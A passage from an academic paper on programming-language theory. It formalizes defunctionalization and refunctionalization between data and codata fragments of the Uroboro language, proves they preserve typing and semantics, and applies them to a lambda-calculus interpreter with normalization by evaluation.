rems. The formalization of these languages allows us to clearly de-
fine defunctionalization and refunctionalization and meaningfully
talk about the property of these transformations. We show that they
preserve typing and behavior and are inverse to each other.
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σ, τ = data type names
con = constructor names
des = destructor names
fun = function names
x , y = variable names

prg ::= def ∗

(a) Common syntax.

def ::= data τ where sig∗

| function fun(σ, τ∗) : τ where eqn∗

sig ::= con(τ∗) : τ
eqn ::= fun(con(x∗), y∗) = t
s, t ::= x | fun(s, t∗) | con(t∗)

u, v ::= con(v∗)
E ::= [] | fun(v∗, E , t∗) | con(v∗, E , t∗)

(b) Syntax of the data fragment.

def ::= codata τ where sig∗

| function fun(τ∗) : τ where eqn∗

sig ::= σ.des(τ∗) : τ
eqn ::= fun(x∗).des(y∗) = t
s, t ::= x | fun(t∗) | s.des(t∗)

u, v ::= fun(v∗)
E ::= [] | fun(v∗, E , t∗) | E .des(t∗) | v .des(v∗, E , t∗)

(c) Syntax of the codata fragment.

Figure 6. Syntactic structure of definitions, terms, values and evaluation contexts.

3.1 The Data Fragment
The two language fragments have some parts in common that are
specified in Figure 6a. In both language fragments, a program prg
is a list of top-level definitions def . The fragments differ in what
definitions are allowed in def .

The data fragment supports the definition of data types and of
functions that pattern match on their first argument. Hence a func-
tion is defined by one equation per constructor that could have
been used to create the function’s first argument. The exact syn-
tax of this fragment is given in Figure 6a and Figure 6b. The re-
striction to functions that pattern match on their first argument is
visible throughout the grammar: The syntax of function signatures
fun (σ, τ∗) requires that we declare the type of at least one ar-
gument, the syntax of function calls fun (s, t∗) requires that we
provide at least one actual argument, and the syntax of equations
fun (con (x∗), y∗) = t hard-codes the fact that we are pattern
matching exactly on the top-level structure of the first argument.
To avoid nondeterminism or ambiguities, we assume that all equa-
tions of a function match against different constructor names.

The definition of evaluation contexts E and values v make it
clear that the semantics of the data fragment uses call-by-value for
function calls, evaluates arguments left-to-right, and has strict data
constructors. In this regard, the data fragment is entirely standard.

3.2 Restricted Pattern Matching
The data fragment is unusual in that it supports only the very
restricted form of pattern matching on the top-level structure of
the first function argument. More liberal languages with pattern
matching define a grammar of potentially nested patterns and allow
arbitrary patterns for all function arguments in the left-hand sides of
equations. The problem with this more liberal treatment of pattern
matching is that it is not clear what nested pattern matching or
pattern matching on multiple arguments should refunctionalize to.
Fortunately, the restriction to top-level pattern matching on the first
argument does not restrict the expressivity of our language, because
we can desugar nested pattern matching or pattern matching on
multiple arguments by introducing helper functions.

For example, the function sub from Figure 1 pattern matches
on both function arguments. This can be desugared to the formally
defined data fragment by introducing a helper function which per-
forms the second pattern match as shown in Figures 7a and 7b.
The basic idea is to bind the value that we want to pattern match
on to a variable (here m) and then call the helper function (here
aux) with that variable as first argument. The helper function can
then perform the pattern match. The right-hand sides of the original
equations are copied to the right-hand sides of the helper function.
In this case, the original function was recursive, so the desugared
function and the helper function will be mutually recursive.

Under the name “disentanglement”, this desugaring is per-
formed manually in many works on interderiving semantic arti-
facts (for example, see Ager et al. 2003). Setzer et al. (2014) call
it unnesting and show how to extract an unnesting algorithm from

function sub(Nat,Nat) : Nat where
sub(zero(), x ) = zero()
sub(succ(x ), zero()) = succ(x )
sub(succ(x ), succ(y)) = succ(sub(x , y))

(a) Avoiding the catch-all pattern x in sub’s second equation in Figure 1.

function sub(Nat,Nat) : Nat where
sub(zero(), x ) = zero()
sub(succ(x ),m) = aux(m, x )

function aux(Nat,Nat) : Nat where
aux(zero(), x ) = succ(x )
aux(succ(y), x ) = sub(x , y)

(b) Avoiding to match on the second argument of sub in (a).

codata Nat where
Nat.sub(Nat) : Nat
Nat.aux(Nat) : Nat

function zero() : Nat where
zero().sub(x ) = zero()
zero().aux(x ) = succ(x )

function succ(Nat) : Nat where
succ(x ).sub(m) = m.aux(x )
succ(y).aux(x ) = x .sub(y)

(c) Refunctionalized version of sub in (b).

Figure 7. Subtraction in the data and codata fragments.

a coverage checker for their dependently-typed language with pat-
tern matching and copattern matching. A similar transformation
is performed when a compiler transforms a pattern match into a
decision tree.

3.3 The Codata Fragment
The codata fragment is in many ways dual to the data fragment.
It supports the definition of codata types and of functions that
copattern match on the function result. Hence a function is defined
by one equation per destructor that could be used to destruct the
function’s result. The exact syntax of this fragment is given in
Figure 6a and Figure 6c. As with the data fragment, we hard-code
the restriction to function definition by copattern matching into the
syntax of equations, and we assume that all equations of a function
match against different destructor names.

The definition of evaluation contexts E makes it clear that ex-
actly like with the data fragment, the semantics of the codata frag-
ment uses call-by-value for function calls and evaluates arguments
left-to-right. Destructor calls are also evaluated according to the
call-by-value strategy. In this regard, the codata fragment doesn’t
differ from the data fragment. This might come as a surprise:
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x 
 x
fun(s, t1, ..., tn)
 s ′.des(t ′1, ..., t

′
n) if fun 
 des, s 
 s ′, t1 
 t ′1, ..., and tn 
 t ′n

con(t1, ..., tn)
 fun(t ′1, ..., t
′
n) if con 
 fun, t1 
 t ′1, ..., and tn 
 t ′n

(a) Rules for the relation t 
 t ′ between defunctionalized and refunctionalized terms.

〈x 〉r = x
〈fun(s, t1, ..., tn)〉r = 〈s〉r.〈fun〉r(〈t1〉r, ..., 〈tn〉r)
〈con(t1, ..., tn)〉r = 〈con〉r(〈t1〉r, ..., 〈tn〉r)

(b) Refunctionalisation 〈t〉r of terms.

〈x 〉d = x
〈s.des(t1, ..., tn)〉d = 〈des〉d(〈s〉d, 〈t1〉d, ..., 〈tn〉d)
〈fun(t1, ..., tn)〉d = 〈fun〉d(〈t1〉d, ..., 〈tn〉d)

(c) Defunctionalization 〈t〉d of terms.

Figure 8. Defunctionalization and refunctionalization of terms.

“fun(σ, τ1, ..., τn)” ∈ prg ⇐⇒ “σ.des ′(τ1, ..., τn)” ∈ prg ′ if fun 
 des ′ and prg 
 prg ′

“con(τ1, ..., τn)” ∈ prg ⇐⇒ “fun ′(τ1, ..., τn)” ∈ prg ′ if con 
 fun ′ and prg 
 prg ′

“fun(con(x1, ..., xn), y1, ..., yk ) = t” ∈ prg ⇐⇒ “fun ′(x1, ..., xn).des ′(y1, ..., yk ) = t ′” ∈ prg ′

if fun 
 des ′, con 
 fun ′, t 
 t ′ and prg 
 prg ′

(a) Intended consequences of the relation prg 
 prg ′ between defunctionalized and refunctionalized programs.

〈prg〉r = { codata σ where
{ σ.〈fun〉r(τ1, ..., τn) : τ
| “fun(σ, τ1, ..., τn) : τ” ∈ prg }

| “ data σ ...” ∈ prg }
∪ { function 〈con〉r(τ1, ..., τn) where

{ 〈con〉r(x1, ..., xn).〈fun〉r(y1, ..., yk ) = 〈t〉r
| “fun(con(x1, ..., xn), y1, ..., yk ) = t” ∈ prg }

| “con(τ1, ..., τn) : τ” ∈ prg }
(b) Refunctionalisation 〈prg〉r of programs.

〈prg〉d = { data σ where
{ 〈fun〉d(τ1, ..., τn) : τ
| “fun(τ1, ..., τn) : τ” ∈ prg }

| “codata σ ...” ∈ prg }
∪ { function 〈des〉d(σ, τ1, ..., τn) where

{ 〈des〉d(〈fun〉d(x1, ..., xn), y1, ..., yk ) = 〈t〉d
| “fun(x1, ..., xn).des(y1, ..., yk ) = t” ∈ prg }

| “σ.des(τ1, ..., τn) : τ” ∈ prg }
(c) Defunctionalization 〈prg〉d of programs.

Figure 9. Defunctionalization and refunctionalization of programs.

Shouldn’t the codata fragment use some form of call-by-name eval-
uation to support infinite values? Indeed, there is support for infinite
values, hidden in the definition of values v . In the codata fragment,
function calls are values. This means that function calls are not per-
formed until a destructor is called on the function’s result.

3.4 Defunctionalization and Refunctionalization
To specify defunctionalization and refunctionalization, we can now
define a one-to-one relationship between programs in the data and
in the codata fragments. Both directions of this relationship can be
implemented as transformations, that is, we can mechanically de-
functionalize a program in the codata fragment to the related pro-
gram in the data fragment; and we can mechanically refunctionalize
a program in the data fragment to the corresponding program in the
codata fragment. Since the relation is one-to-one, defunctionaliza-
tion and refunctionalization are inverse to each other.

We assume that the transformations do not change variable
names or type names, and that one-to-one relations fun 
 des and
con 
 fun are set up to map function and constructor names in the
data fragment to destructor and function names in the codata frag-
ment, respectively. In all examples, we simply use the same names
for related entities in the two fragments. In this formalization, we
still make the potential renaming explicit to clarify the difference
between function and constructor names which is not readily ap-
parent from their uses in function respectively constructor calls.

We first define which terms t in the data language are related to
which terms t ′ in the codata language, written t 
 t ′. The relation

 on terms is defined inductively on the syntax of terms by the
rules in Figure 8a. The rules specify how function application in

the data fragment relates to destructor application in the codata
fragment, and how constructor application in the data fragment
relates to function application in the data fragment. This is the same
relationship as informally introduced in Figure 3.

Reading the rules for the 
 relation on terms left-to-right, we
can extract the recursive transformation from data terms to codata
terms in Figure 8b. And reading the rules right-to-left, we can
extract the recursive transformation from codata terms to data terms
in Figure 8c. By construction, these transformations are inverse to
each other. We also observe that
 relates data values with codata
values. This allows us to lift
 as well as the transformations 〈·〉d
and 〈·〉r to evaluation contexts by pointwise application.

We cannot specify the relation
 on programs in such a syntac-
tic way because defunctionalization and refunctionalization operate
on whole programs. In particular, they collect all function defini-
tions and put them in a single data respectively codata type. We
therefore specify the relation
 up to reordering of top-level defi-
nitions in terms of the containment of equations and function, con-
structor and destructor signatures in programs.

This specification is shown in Figure 9a. It describes how all
parts of one program show up in the related program, just at dif-
ferent places. The first two lines describe how function, constructor
and destructor signatures relate in the two fragments. Necessarily,
these relationships mimic the relationships of function, constructor
and destructor calls from Figure 8a. The last line of the specifica-
tion describes that related programs basically have the same equa-
tions, but are written differently.

We can implement transformations between related programs
by loops over the input program. The set comprehensions in
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“fun(τ1, ..., τn) : τ” ∈ Σ
Γ `Σ t1 : τ1...

Γ `Σ tn : τn
Γ `Σ fun(t1, ..., tn) : τ

“x : τ” ∈ Γ
Γ `Σ x : τ

(a) Common typing rules.

“con(τ1, ..., τn) : τ” ∈ Σ
Γ `Σ t1 : τ1...

Γ `Σ tn : τn
Γ `Σ con(t1, ..., tn) : τ

“con(σ1, ..., σn) : σ” ∈ Σ
“fun(σ, τ1, ..., τk ) : τ” ∈ Σ
x1 : σ1, ..., xn : σn ,
y1 : τ1, ..., yk : τk `Σ t : τ

Σ ` fun(con(x1, ..., xn), y1, ..., yk ) = t ok
(b) Additional typing rules for data fragment.

“σ.des(τ1, ..., τn) : τ” ∈ Σ
Γ `Σ s : σ

Γ `Σ t1 : τ1...
Γ `Σ tn : τn

Γ `Σ s.des(t1, ..., tn) : τ

“fun(σ1, ..., σn) : σ” ∈ Σ
“σ.des(τ1, ..., τk ) : τ” ∈ Σ

x1 : σ1, ..., xn : σn ,
y1 : τ1, ..., yk : τk `Σ t : τ

Σ ` fun(x1, ..., xn).des(y1, ..., yk ) = t ok
(c) Additional typing rules for codata fragment.

prg ` t  t ′

prg ` E [t ] 
E [t ′ ]

(d) Congruence rule.

“fun(con(x1, ..., xn), y1, ..., yk ) = t” ∈ prg
prg ` fun(con(u1, ..., un), v1, ..., vk ) 

t [x1 7→ u1, ..., xn 7→ un , y1 7→ v1, ..., yk 7→ vk ]

(e) Contraction rule for data fragment.

“fun(x1, ..., xn).des(y1, ..., yn) = t” ∈ prg
prg ` fun(u1, ..., un).des(v1, ..., vk ) 

t [x1 7→ u1, ..., xn 7→ un , y1 7→ v1, ..., yk 7→ vk ]

(f) Contraction rule for codata fragment.

Figure 10. Static and dynamic semantics.

sub(s(s(z())), s(z())) aux(s(z()), s(z())) sub(s(z()), z()) aux(z(), z()) s(z())
s(s(z())).sub(s(z()))  s(z()).aux(s(z()))  s(z()).sub(z())  z().aux(z())  s(z())

Figure 11. Reduction sequences for computing 2− 1 = 1 using the programs in Figure 7b (upper sequence) and 7c (lower sequence). The
identifiers succ and zero are abbreviated as s and z.

Figure 9b describe the steps necessary for refunctionalization of
programs: We first loop over all data types in the original program
and transform them to codata types. In the inner loop, for each data
type σ, we collect all function signatures from the original program
that have σ as first argument and transform them into destructor sig-
natures for the newly created codata type. Then we loop over all
constructor signatures in the original program and transform them
to functions. In the inner loop, for each constructor con , we loop
over all equations in the original program that pattern match on con
and transform them into equations for the newly created function.
Defunctionalization is defined similarly by the set comprehensions
in Figure 9c. It is easy to see that these transformations implement
the specification from Figure 9a and that they are inverse of each
other, up to ordering of program elements.

For example, a refunctionalized version of the program in
Figure 7b is shown in Figure 7c. These two programs are related by

. It is interesting to see how the helper function aux introduced in
Section 3.2 gets refunctionalized to a helper destructor. In object-
oriented programming, this corresponds to a typical approach of
simulating double dispatch.

3.5 Typing
We now define a static type system for the data and codata frag-
ments to show that defunctionalization and refunctionalization pre-
serve typing. The well-typedness of expressions is defined with re-
spect to a signature Σ which contains all function, constructor and
destructor signatures that occur in a program (but not the equa-
tions), and a context Γ which contains type assignments for vari-
ables. The typing rules are formally defined in Figure 10 using rules
for the following judgments: Γ `Σ t : τ means that expression t
has type τ under signature Σ and context Γ, and Σ ` eqn ok means
that equation eqn is well-typed under signature Σ.

The rules in Figure 10a are common to both language frag-
ments. Note that in the data fragment, functions need to have at

least one argument, so n in rule FUN cannot be 0 if the rule is used
to check an expression in the data fragment, but everywhere else
in Figure 10, n or k can be 0. Figure 10b and Figure 10c list the
typing rules for the data and codata fragments, respectively. Since
the language fragments are both first-order and don’t support local
variable binding, typing is very simple. In particular, all binding
occurrences of variables are in the left-hand sides of equations, and
all bound occurrences are in the right-hand sides of equations, so
the two rules for the Σ ` eqn ok judgment are the only rules that
need to manipulate the typing context. A program is well-typed if
all its equations are well-typed.

A program prg is complete with respect to a signature Σ
if the equations in the program uniquely cover all combina-
tions of functions and constructors induced by Σ. For the data
fragment, this means that for all “con (σ1, ..., σn) : σ” ∈ Σ
and “fun (σ1, τ1, ..., τk ) : τ” ∈ Σ, there is a unique t so that
“fun (con (x1, ..., xn), y1, ..., yk ) = t” ∈ prg . And for the co-
data fragment, it means that for all “fun (σ1, ..., σn) : σ” ∈ Σ
and “σ1 .dst (τ1, ..., τk ) : τ” ∈ Σ, there is a unique t so that
“fun(x1, ..., xn).des(y1, ..., yk ) = t” ∈ prg .

We can apply 
, 〈·〉r and 〈·〉d to signatures Σ analogously to
their definition on programs prg . We see that given Σ 
 Σ′ and
prg 
 prg ′, the program prg is complete with respect to Σ if and
only if the program prg ′ is complete with respect to Σ′. We can
use the same typing context Γ for related programs in the data and
codata fragments because the names of variables and types remain
unchanged during defunctionalization and refunctionalization. This
allows us to state the following lemmas about the fact that 

preserves typing for terms and equations:

Lemma 1. Given Σ 
 Σ′, t 
 t ′, and τ 
 τ ′, we can derive
Γ `Σ t : τ if and only if we can derive Γ `Σ′ t ′ : τ ′.

Proof. We prove each direction by induction on the typing deriva-
tion we are given. If it is the rule for variables, we are done, because
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the typing context is unchanged. If it is one of the other rules, we
use the induction hypotheses and one of the first two properties in
Figure 9a to construct the corresponding derivation.

Lemma 2. Given Σ 
 Σ′ and prg 
 prg ′, then all equations
in prg are well-typed if and only if all equations in prg ′ are well-
typed.

Proof. For each equation having to show its well-typedness, we
pick the corresponding relation in the transformed program from
which we know that it is already well-typed (by the third property
in Figure 9a). We observe that the equations construct the same
variables and finish the prove with Lemma 1.

3.6 Semantics
As mentioned before the function equations are used for rewriting,
so we perform reduction steps until no rewriting rule can be used
furthermore. In case of our data-language this means constructor
calls and in case of our codata-language this means function calls.

We formally specify the dynamic semantics of the two language
fragments by rules for judgments of the form prg ` t  t ′. This
judgment states that given the equations in program prg , the term t
reduces to t ′ in one step. The language fragments share the standard
congruence rule in Figure 10d, albeit each fragment defines their
own notion of evaluation context E (in Figures 6b and 6c). We need
only one additional reduction rule per language fragment to specify
its semantics, because their equations have restricted shape.

For the data fragment, the rule in Figure 10e specifies how
to execute a function call if the first argument has already been
evaluated to a constructor application. In this case, the function
call is replaced by the right-hand side of the equation for that
particular function-constructor combination, with the free variables
appropriately substituted. And for the codata fragment, the rule
in Figure 10f specifies how to execute a destructor call if the first
argument has already been evaluated to a function application. In
this case, the destructor call is replaced by the right-hand side of the
equation for that particular function-destructor combination, with
the free variables appropriately substituted. For example, Figure 11
shows the reduction sequences that arise from computing 3 − 2
using the definitions of sub from Figures 7b or 7c, respectively.

Lemma 3. If in either language fragment, Σ is the signature of prg ,
all equations in prg are well-typed, Γ `Σ t : τ , and prg ` t  t ′

then Γ `Σ t ′ : τ .

Proof. We prove this by induction on the derivation of prg ` t  
t ′. For the congruence rule, we use induction on the evaluation
context E to construct the typing derivation which is necessary to
use the induction hypothesis. For the other rules, we use the fact
that all equations are well-typed and a standard substitution lemma
(proven by induction on the structure of terms).

Lemma 4. If in either language fragment, prg is complete with
respect to Σ, all equations in prg are well-typed, and `Σ t : τ ,
then either t is v , or there exists t ′ so that prg ` t  t ′.

Proof. We prove this by induction on the derivation of Γ `Σ t : τ .
The case for variables is impossible because the context is empty.
In the other cases, we apply the induction hypotheses for all sub-
derivations, from left to right, until we find the first subexpression
of t that is reducible. If we find a reducible subexpression, we con-
struct a reduction derivation with the corresponding evaluation con-
text. If all subexpressions of t are values, we find that either t is a
value or t is reducible. In the latter case, since prg is complete with
respect to Σ, we know that the equation, necessary to construct a
reduction derivation for t , is available in prg .

We don’t need a lemma for canonical forms, because in each of
the fragments, there is only one form of values.

Lemma 5. Given prg 
 prg ′, s 
 s ′, and t 
 t ′, then
prg ` s  t if and only if prg ′ ` s ′  t ′.

Proof. We prove both directions by induction on the reduction
derivation we are given. For the congruence rule, we use induction
on the evaluation context E to construct the reduction derivation
necessary to use the induction hypothesis. This uses the similarity
of the evaluation contexts for the two language fragments. For the
other rules, we use the last property from Figure 9a and a lemma
that states how
 interacts with substitution (proven by induction
on the structure of terms).

The previous lemma shows that de- and refunctionalization pre-
serve the operational semantics of terms in the strong sense that
evaluation of related terms proceeds in lockstep. This allows us to
study the operational behavior of a term by studying the operational
behavior after de- or refunctionalizing it. In the case of definitional
interpreters, this use case is particularly important, because study-
ing the operational behavior of an interpreter corresponds to study-
ing the operational behavior of the interpreted language.

Writing  ∗ for the reflexive, transitive closure of  , we can
also state a weaker result about the result of the reduction of
normalizing terms.

Lemma 6. Given prg 
 prg ′, s 
 s ′, and v 
 v ′, then
prg ` s  ∗ v if and only if prg ′ ` s ′  ∗ v ′.

Proof. We prove both directions by induction on the length of
the reduction sequence, constructing a corresponding reduction
sequence of equal length using Lemma 5 for every step.

With the last lemma it is clear that the transformation of a
program evaluates to the same result and this with the same number
of evaluation steps.

4. Transformations as Matrix Transpositions
We now want to highlight another way to view the two languages
and their relation through de- and refunctionalization, namely as
matrices and matrix transposition, respectively. Figure 12 shows
how we can arrange the two programs from Figure 7 in matrices
so that defunctionalization and refunctionalization correspond to
matrix transposition.

If we unify the syntax of function and destructor calls (e.g.,
aux (m, x ) vs m.aux (x )) to only use the former variant, and do
the same with declarations (e.g., write sub (Nat,Nat) : Nat for
both sub(Nat,Nat) : Nat and Nat.sub(Nat) : Nat) we can also
show both versions of the program in a single matrix:

zero() : Nat succ(Nat) : Nat
sub(Nat,Nat) : Nat zero() aux(m,x)
aux(Nat,Nat) : Nat succ(x) sub(x,y)

A row-by-row reading of the matrix corresponds to the program
variant in Figure 12a, whereas a column-by-column reading corre-
sponds to Figure 12b. This means that both defunctionalization and
refunctionalization can be understood as matrix transpositions.

Adding a new row to the matrix means to extend the program
with a new consumer, which could be done in a modular way in the
data language to not have to scatter code and to avoid the expres-
sion problem. Analogously adding a new column means to extend
the program with a new creater structure which could be done mod-
ularly in the codata language. If someone wants to add both, rows
and columns, this can be achieved by repeatedly transposing the
matrix using defunctionalization and refunctionalization.
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data Nat where zero() : Nat succ(Nat) : Nat
function sub(Nat,Nat) : Nat where sub(zero(), x ) = zero() sub(succ(x ),m) = aux(m, x )
function aux(Nat,Nat) : Nat where aux(zero(), x ) = succ(x ) aux(succ(y), x ) = sub(x , y)

(a) The program from Figure 7b arranged as a matrix.

codata Nat where Nat.sub(Nat) : Nat Nat.aux(Nat) : Nat
function zero() : Nat where zero().sub(x ) = zero() zero().aux(x ) = succ(x )

function succ(Nat) : Nat where succ(x ).sub(m) = m.aux(x ) succ(y).aux(x ) = x .sub(y)

(b) The program from Figure 7c arranged as a matrix.

Figure 12. If we write programs as matrices, defunctionalization and refunctionalization correspond to matrix transposition.

If one organizes the matrix a bit differently, then it is not just
a projection of the programs but one can reconstruct the programs
from the matrix by a row-by-row or column-by-column, respec-
tively, reading. For the data type reading, we can reconstruct the
data declarations by assembling all constructors with the same re-
turn type to a data type declaration. The entries in the first column
give us the signatures of the functions. Similarly, for the codata
reading, we can assemble all destructors with the same first argu-
ment into a codata declaration. The first row gives us the signatures
of the functions. Since we can organize the matrix such that all dec-
larations that belong together are adjacent to each other, one linear
pass through the matrix without book-keeping is sufficient to re-
construct all declarations.

But we cannot yet reconstruct the full function definitions be-
cause the binding positions of the variables are not specified. How-
ever, if we fix the names of variables to be, from left to right, x0 ,
x1 etc., we can avoid the issue. This works because there is only
one way to write the left hand side of an equation (see Section 3.1).
In this version, the matrix for the example looks like this:

zero() : Nat succ(Nat) : Nat
sub(Nat,Nat) : Nat zero() aux(x1,x0)
aux(Nat,Nat) : Nat succ(x0) sub(x1,x0)

We have implemented a prototype of Uroboro in which the full
program is stored as a matrix as above and in which we use a stan-
dard matrix transposition function to perform defunctionalization
and refunctionalization.

We believe that the idea to represent programs as matrices rather
than as trees is interesting on its own. Furthermore, a matrix-
like depiction of programs is standard in presentations about the
expression problem. We have formalized this graphical metaphor.

5. Case Study
To illustrate the power of defunctionalization with full refunctional-
ization, we follow Reynolds (1972, Sec. 5) and consider a metacir-
cular interpreter for the untyped lambda calculus, written in a lan-
guage with higher-order functions. We will first present a meta in-
terpreter where closures are represented by closures, then defunc-
tionalize it to a syntactic interpreter, then extend the interpreter with
normalization-by-evaluation, and then refunctionalize it back to the
codata language.

5.1 The Object Language
We focus on the pure untyped lambda calculus, that is, application,
lambda abstraction and variable occurrences, only adding a term
err which leads to an immediate error when executing. We repre-
sent bound variables as de Bruijn indices. These changes will be
useful later in this section, when we add reification of values to
terms in order to achieve normalization by evaluation. In the data

codata Exp where
Exp.eval(Env) : Val

function var(Nat) : Exp where
var(name).eval(env) = env .index(name)

function app(Exp,Exp) : Exp where
app(fun, arg).eval(env) =

fun.eval(env).apply(arg .eval(env))

function fun(Exp) : Exp where
fun(body).eval(env) = closure(body , env)

function err() : Exp where
err().eval(env) = error()

codata Val where
Val.apply(Val) : Val

function closure(Exp,Env) : Val where
closure(body , env).apply(arg) = body .eval(cons(arg , env))

function error() : Val where
error().apply(arg) = error()

function interpret(Exp) : Val where
interpret(e) = e.eval(nil())

Figure 13. Meta Interpreter

fragment of Uroboro, we can express this abstract syntax as a data
structure Exp shown in Figure 14.

The data type Exp supports variables (var), lambda expressions
(fun) and application (app). Note that our use of de Bruijn indices
means that we don’t store binding variable occurrences in the fun
nodes. Instead, bound variable occurrences count how many lamb-
das we have to jump over before we find the lambda with the bind-
ing occurrence. For example, the term double ≡ λf.λx.f(fx) ≡
λλ1(1 0) is represented as as follows:

fun(fun(app(var(succ(zero())),
app(var(succ(zero())),

var(zero())))))

5.2 Metacircular Interpretation
Using codata types to encode higher-order functions, we can
closely follow Reynolds’s (1972) metacircular interpreter as shown
in Figure 13. Unlike Reynolds, we also represent Exp as refunc-
tionalized data structure using a codata type because we want to
focus on the codata fragment of Uroboro for the meta interpreter.

Both environments and values are represented by codata types.
Since environments for de Bruijn indices are, apart from the ele-
ment type, identical to lists as defined in Figure 2, we do not repeat
its definition here and assume that they are defined as in Section 2
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data Exp where
var(Nat) : Exp
app(Exp,Exp) : Exp
fun(Exp) : Exp
err() : Exp

data Val where
closure(Exp,Env) : Val
error() : Val

function eval(Exp,Env) : Val where
eval(var(x ), env) = index(env , x )
eval(app(e1, e2), env) =

apply(eval(e1, env), eval(e2, env))
eval(fun(body), env) = closure(body , env)
eval(err(), env) = error()

function apply(Val,Val) : Val where
apply(closure(body , env), arg) =

eval(body , cons(arg , env))
apply(error(), arg) = error()

function interpret(Exp) : Val where
interpret(e) = eval(e, nil())

Figure 14. Defunctionalization of the interpreter in Figure 13
yields this more syntactic interpreter.

with the following superficial changes: The type is called Env in-
stead of List, and the type of list elements is Val instead of Nat.
The helper function closure creates values. The main entry point
is interpret which calls eval with an initial environment. Since
we don’t provide any built-in operations, we can use the empty
environment here. Finally, the code of eval is distributed among
the functions var, app, fun, and err, similar to a pure embed-
ding(Hudak 1998) of the lambda calculus.

5.3 Defunctionalization to a Syntactic Interpreter
Defunctionalization of the codata types Val, Env and Exp yields
the more syntactic interpreter shown in Figure 14. We only show
the result of defunctionalizing Val and Exp; the defunctionaliza-
tion of Env is as in Figure 4a.

A well-known benefit of defunctionalization is that it is usually
easier to understand the memory layout of algebraic data types than
to understand the memory layout of first-class functions. In this
case, the defunctionalization makes it clear that values are stored
as closures, and environments are stored as lists.

Defunctionalization also collects all cases of eval together into
a function that is defined by pattern matching on the syntax of ex-
pressions. This suggests that defunctionalization and refunctional-
ization can describe the relationship between shallow and deep em-
bedding of a language.

5.4 Reification
Another benefit of defunctionalization is that once we have a rep-
resentation of a function (or rather, codata) space as algebraic data
type, we can add more functions that pattern match on values of
that type. In this case, let us add a function reify that takes a value
and returns an expression in normal form which would evaluate to
that value. In other words, let us implement normalization by eval-
uation (Berger and Schwichtenberg 1991).

For example, if double is the representation of λf .λx .f (f x )
from above, then the normal form of double applied to itself is the
representation of λf .λx .f (f (f (f x ))). Using our reify function,
we can compute this representation as follows:

reify(eval(app(double, double), nil()), zero())

data Val where
closure(Exp,Env) : Val
error() : Val

-- step 4:
resVar(Nat) : Val

-- step 7:
resApp(Val,Val) : Val

function apply(Val,Val) : Val where
apply(closure(body , env), arg) =

eval(body , cons(arg , env))
apply(error(), arg) = error()

-- step 6:
apply(resVar(level), arg) =

resApp(resVar(level), arg)

-- step 9:
apply(resApp(v1, v2), v3) =

resApp(resApp(v1, v2), v3)

-- step 1:
function reify(Val,Nat) : Exp where

-- step 2:
reify(error(), level) = err()

-- step 3:
reify(closure(body , env), level) =

fun(reify(eval(body , cons(resVar(succ(level)), env)),
succ(level)))

-- step 5:
reify(resVar(outer), inner) =

var(sub(inner , outer))

-- step 8:
reify(resApp(v1, v2), level) =

app(reify(v1, level), reify(v2, level))

Figure 15. Extending the syntactic interpreter from Figure 14 to
implement normalization-by-evaluation.

Figure 15 shows all necessary changes to the vanilla syntactic in-
terpreter in Figure 14. In order to understand how to come up with
this implementation, we go through the necessary changes in an
order they could have been done in.

1. Our goal is to write reify(Val,Nat) : Exp so that it transforms
a value back into a term in normal form. The additional Nat
argument is the de Bruijn level of the first variable to be bound
inside the returned expression. We need this information in
order to compute de Bruijn indices for variables bound outside
but used inside the returned expression.

2. The case for error() is easy because we took care to add err()
to the set of expressions.

3. In the case for closure (body , env), we would like to return a
lambda expression with a body in normal form. To normalize
the body, we want to evaluate and then reify the body from
the closure, treating the freshly bound variable as a residual
term that is already in normal form. Assuming a constructor
resVar(Nat) : Val which creates such a residual variable (at a
given de Bruijn level), we can complete the case.

4. Now we have to actually add the new resVar constructor for
residual variables.
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5. Since we added a constructor for Val, we have to implement
reification for it. A residual variable bound at de Bruijn level
outer and used at de Bruijn level inner is reified to a variable
with de Bruijn index inner − outer . We use sub as a helper
function to subtract natural numbers as necessary for the com-
putation of de Bruijn indices from de Bruijn levels.

6. We also have to extend the apply function to deal with the new
resVar constructor for residual variables. Applying a residual
variable to a value creates a residual application, so to imple-
ment it, we have to assume the addition of yet another con-
structor resApp for the algebraic data type of values.

7. Next, we actually add the new resApp constructor.

8. For the new constructor, we have to extend reify again. We reify
a residual application by reifying the operator and operand, and
then constructing an application.

9. Finally, we also have to reify apply for the new resApp con-
structor. Luckily, applying a residual application just creates
another residual application, so we don’t have to add any
more constructors, and this completes our implementation of
normalization-by-evaluation.

We learn two lessons from this experiment: On the one hand, it was
possible to extend the defunctionalized form of the interpreter be-
cause we could just add additional functions that pattern match on
the defunctionalized codata space. But on the other hand, we had to
change many parts of the program when we added new construc-
tors to the defunctionalized codata space. Changing already exist-
ing parts of a program is not good from a modularity and maintain-
ability perspective.

We recognize this as an instance of the expression problem:
The two dimensions of extensibility are the addition of functions
that consume values and the addition of kinds of values. In the
defunctionalized form, the former is well-supported, and the latter
is ill-supported in a modular way.

5.5 There and Back Again
At this point, we want to undo the defunctionalization, that is, we
would like to refunctionalize the interpreter back to use codata to
see a different trade off between the two dimensions of extensibil-
ity. In a conventional functional language we would be stuck at this
point, because after the addition of normalization-by-evaluation,
our program is no longer in the image of defunctionalization, be-
cause there is more than one function that pattern matches on Val.

In Uroboro, however, codata is not restricted to a single observa-
tion, hence we can simply add another destructor Val.reify(Nat) :
Exp to the Val codata type, as shown in Figure 16. The com-
ments in this figure also highlight the changes necessary to add
normalization-by-evaluation, with the same step numbers as in
Figure 15.

Thinking about the expression problem again, we observe the
the relationship between dimensions of extensibility and support
for modular changes summarized in Figure 17. We see again that
in the defunctionalized form, adding consumers of values is well-
supported but adding ways to constructor values is ill-supported in
a modular way. And conversely, we see that in the refunctionalized
form, adding consumers is ill-supported and adding ways to con-
struct is well-supported in a modular way. This is a typical situation
with respect to the expression problem: Two complementary ways
to encode information support different dimensions of extensibil-
ity. This case study confirms the authors’ intuition that defunction-
alization and refunctionalization could be a theoretical foundation
for thinking about the expression problem, as well as for describing
the various solutions for the expression problem that are based on
carefully combining data and codata types.

codata Val where
Val.apply(Val) : Val

-- step 1:
Val.reify(Nat) : Exp

function closure(Exp,Env) : Val where
closure(body , env).apply(arg) =

body .eval(cons(arg , env))
-- step 3:

closure(body , env).reify(level) =
fun(body .eval(cons(resVar(succ(level)), env))

.reify(succ(level)))

-- step 4, 5, 6:
function resVar(Nat) : Val where

resVar(outer).reify(inner) =
var(sub(inner , outer))

resVar(level).apply(arg) =
resApp(resVar(level), arg)

-- step 7, 8, 9:
function resApp(Val,Val) : Val where

resApp(v1, v2).reify(level) =
